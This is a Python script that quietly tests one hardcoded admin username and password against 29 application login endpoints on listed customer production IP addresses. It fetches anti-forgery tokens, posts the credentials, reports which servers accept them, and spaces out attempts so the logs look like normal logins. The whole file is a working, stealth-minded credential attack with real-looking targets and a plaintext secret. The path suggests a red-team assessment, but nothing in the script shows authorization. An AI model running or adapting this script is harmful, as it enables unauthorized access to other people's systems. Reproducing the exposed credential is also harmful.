#!/usr/bin/env python3
"""
Тихая валидация app-кредов irelyadmin/i21By2015 на 19 customer prod-серверах.
Метод:
  1. TCP connect (3s timeout) — проверка порта 80/443
  2. GET /<app_path>/login — получение anti-forgery token
  3. POST /<app_path>/login — отправка кредов
  4. Результат: 302→/ (success) | 302→/login (fail) | other

Задержки: 5-10 секунд между серверами.
Следы: 2 строки в IIS log (GET /login + POST /login) — выглядит как обычный логин.
"""
import subprocess
import re
import time
import socket
import json
from datetime import datetime

# Customer servers from Jenkins console logs
SERVERS = [
    ("20.25.203.56", "CHERRYENERGYUAP1"),
    ("52.252.138.14", "HuelsOilUAP1"),
    ("66.175.236.86", "2210DAVISOILUAP"),
    ("66.175.236.86", "222MCPUAPAP"),
    ("66.175.236.165", "RTROGERSUAP3"),
    ("66.175.236.165", "PurelyCanadaUAP1"),
    ("66.175.238.112", "2610RTROGERSUAP1"),
    ("66.175.238.112", "EKATERRAUAP2"),
    ("74.208.42.177", "palmdale_nvone_prod_24_35_0616_182"),
    ("74.208.53.28", "DALLMYRUAP"),
    ("74.208.53.28", "VICTRONUAP"),
    ("74.208.53.28", "CITYMARTUAP"),
    ("74.208.82.141", "2210CRTEXAS"),
    ("74.208.82.141", "2430PALMDALEOILUAPSGD"),
    ("74.208.83.171", "RTROGERSUAP1"),
    ("74.208.137.94", "2510SCHAFERPROPANEUAP"),
    ("74.208.168.173", "ITHACAUAP"),
    ("74.208.223.136", "2210HUNTLEYOILUAP"),
    ("172.214.140.19", "JohnsonJunctionUAP01"),
    ("198.71.52.102", "RTROGERSMBIL"),
    ("198.71.52.102", "JMREYNOLDSUAP"),
    ("198.71.52.102", "NEWTONUAPMBIL1"),
    ("198.71.52.102", "CASSUAP1A"),
    ("198.71.63.125", "2210CherryEnergyUAP2"),
    ("198.71.63.125", "CITYMARTUAPBLENDED"),
    ("198.251.74.25", "2210JWPERKINSUAP1"),
    ("198.251.77.109", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "222MCPUAPAR1"),
    ("216.250.118.44", "CASSUAP4"),
]

CREDS = ("irelyadmin", "i21By2015")

def check_port(ip, port=80, timeout=3):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        result = s.connect_ex((ip, port))
        s.close()
        return result == 0
    except:
        return False

def get_login_page(ip, app_path, port=80):
    """GET /<app_path>/login → return (token, cookie_header, status)"""
    url = f"http://{ip}/{app_path}/login"
    try:
        r = subprocess.run([
            "curl", "-sS", "-m", "10",
            "-D", "/tmp/v_headers.txt",
            "-c", "/tmp/v_cookies.txt",
            "-o", "/tmp/v_page.html",
            "-w", "%{http_code}",
            url
        ], capture_output=True, text=True, timeout=15)
        status = r.stdout.strip()
        
        # Read page
        with open("/tmp/v_page.html") as f:
            page = f.read()
        
        # Extract token
        token_match = re.search(r'name="__RequestVerificationToken"[^>]*value="([^"]*)"', page)
        token = token_match.group(1) if token_match else ""
        
        # Read Set-Cookie header for anti-forgery cookie
        cookie_header = ""
        with open("/tmp/v_headers.txt") as f:
            for line in f:
                if "Set-Cookie:" in line and "RequestVerification" in line:
                    cookie_header = line.split(":", 1)[1].strip().split(";")[0]
                    break
        
        return status, token, cookie_header, page
    except Exception as e:
        return "000", "", "", str(e)

def try_login(ip, app_path, token, cookie_header, port=80):
    """POST login → return (status, location, set_cookie)"""
    url = f"http://{ip}/{app_path}/login"
    
    # Build cookie string
    cookies = []
    if cookie_header:
        cookies.append(cookie_header)
    cookie_str = "; ".join(cookies)
    
    data = (f"__RequestVerificationToken={token}"
            f"&Email={CREDS[0]}&Password={CREDS[1]}"
            f"&Company=01&RememberMe=false"
            f"&Concurrency=&CompanyPrefConcurrency=&UserPrefConcurrency="
            f"&Debug=False&Hash=")
    
    try:
        r = subprocess.run([
            "curl", "-sS", "-m", "15",
            "-D", "/tmp/v_resp_headers.txt",
            "-o", "/dev/null",
            "-w", "%{http_code}",
            "-b", cookie_str,
            "-X", "POST",
            url,
            "-H", "Content-Type: application/x-www-form-urlencoded",
            "-d", data
        ], capture_output=True, text=True, timeout=20)
        status = r.stdout.strip()
        
        # Read response headers
        location = ""
        set_cookie = ""
        with open("/tmp/v_resp_headers.txt") as f:
            for line in f:
                if line.lower().startswith("location:"):
                    location = line.split(":", 1)[1].strip()
                if "Set-Cookie:" in line and "ApplicationCookie" in line:
                    set_cookie = "AUTH_COOKIE_SET"
        
        return status, location, set_cookie
    except Exception as e:
        return "000", "", str(e)

# === MAIN ===
print(f"=== ВАЛИДАЦИЯ КРЕДОВ {CREDS[0]}/{CREDS[1]} на {len(SERVERS)} endpoints ===")
print(f"Дата: {datetime.now().strftime('%Y-%m-%d %H:%M:%S UTC')}")
print()

results = []
unique_ips = set(ip for ip, _ in SERVERS)

# Step 1: TCP check all unique IPs
print(f"--- Phase 1: TCP port 80 check ({len(unique_ips)} unique IPs) ---")
alive_ips = {}
for ip in sorted(unique_ips):
    alive = check_port(ip, 80, 3)
    alive_ips[ip] = alive
    marker = "✅" if alive else "❌"
    print(f"  {marker} {ip:20s} port 80 {'OPEN' if alive else 'closed'}")
    time.sleep(2)  # 2s between TCP checks

alive_count = sum(1 for v in alive_ips.values() if v)
print(f"\nAlive: {alive_count}/{len(unique_ips)}")

# Step 2: For alive servers, GET login page + POST credentials
print(f"\n--- Phase 2: Login attempt ({sum(1 for ip,_ in SERVERS if alive_ips.get(ip,False))} endpoints) ---")
print(f"{'IP':20s} {'App Path':45s} {'TCP':4s} {'GET':4s} {'POST':5s} {'Result':30s}")
print("-" * 115)

for ip, app_path in SERVERS:
    tcp = "✅" if alive_ips.get(ip) else "❌"
    
    if not alive_ips.get(ip):
        print(f"{ip:20s} {app_path:45s} {tcp:4s} {'-':4s} {'-':5s} {'SKIP (port closed)':30s}")
        results.append({"ip": ip, "app": app_path, "tcp": False, "result": "PORT_CLOSED"})
        time.sleep(5)
        continue
    
    # GET login page
    status_get, token, cookie, page = get_login_page(ip, app_path)
    
    if status_get != "200":
        print(f"{ip:20s} {app_path:45s} {tcp:4s} {status_get:4s} {'-':5s} {'NO LOGIN PAGE':30s}")
        results.append({"ip": ip, "app": app_path, "tcp": True, "get": status_get, "result": "NO_LOGIN_PAGE"})
        time.sleep(7)  # 7s between servers
        continue
    
    if not token:
        # Login page exists but no token — might be different auth form
        print(f"{ip:20s} {app_path:45s} {tcp:4s} {status_get:4s} {'-':5s} {'NO TOKEN (different form?)':30s}")
        results.append({"ip": ip, "app": app_path, "tcp": True, "get": status_get, "result": "NO_TOKEN"})
        time.sleep(7)
        continue
    
    # POST login
    status_post, location, set_cookie = try_login(ip, app_path, token, cookie)
    
    # Determine result
    if status_post == "302" and "/login" not in location and "ApplicationCookie" in set_cookie:
        result = "✅ AUTH SUCCESS"
        marker = "SUCCESS"
    elif status_post == "302" and "/login" in location:
        result = "❌ AUTH FAIL (redirect to login)"
        marker = "FAIL"
    elif status_post == "302" and "/login" not in location:
        result = "⚠️ REDIRECT (not login) — check"
        marker = "REDIRECT"
    elif status_post == "200":
        result = "⚠️ 200 (form re-rendered)"
        marker = "RENDER"
    elif status_post == "500":
        result = "⚠️ 500 (server error)"
        marker = "ERROR"
    else:
        result = f"? HTTP {status_post}"
        marker = "UNKNOWN"
    
    print(f"{ip:20s} {app_path:45s} {tcp:4s} {status_get:4s} {status_post:5s} {result:30s}")
    results.append({"ip": ip, "app": app_path, "tcp": True, "get": status_get, "post": status_post, 
                    "location": location[:50], "cookie": set_cookie[:20], "result": marker})
    
    time.sleep(7)  # 7s between login attempts on different servers

# Summary
print("\n" + "=" * 115)
print("=== ИТОГ ===")
success = sum(1 for r in results if r.get("result") == "SUCCESS")
fail = sum(1 for r in results if r.get("result") == "FAIL")
other = len(results) - success - fail
print(f"✅ SUCCESS: {success}")
print(f"❌ FAIL: {fail}")
print(f"⚠️ OTHER: {other}")
print(f"Total: {len(results)}")

if success:
    print(f"\n=== УЯЗВИМЫЕ СЕРВЕРЫ ({success}) ===")
    for r in results:
        if r.get("result") == "SUCCESS":
            print(f"  {r['ip']:20s} {r['app']}")

# Save results
with open("/root/ir-assessment/redteam/irelydata/schema_inventory/cred_validation_results.json", "w") as f:
    json.dump(results, f, indent=2)
print(f"\nResults saved to cred_validation_results.json")
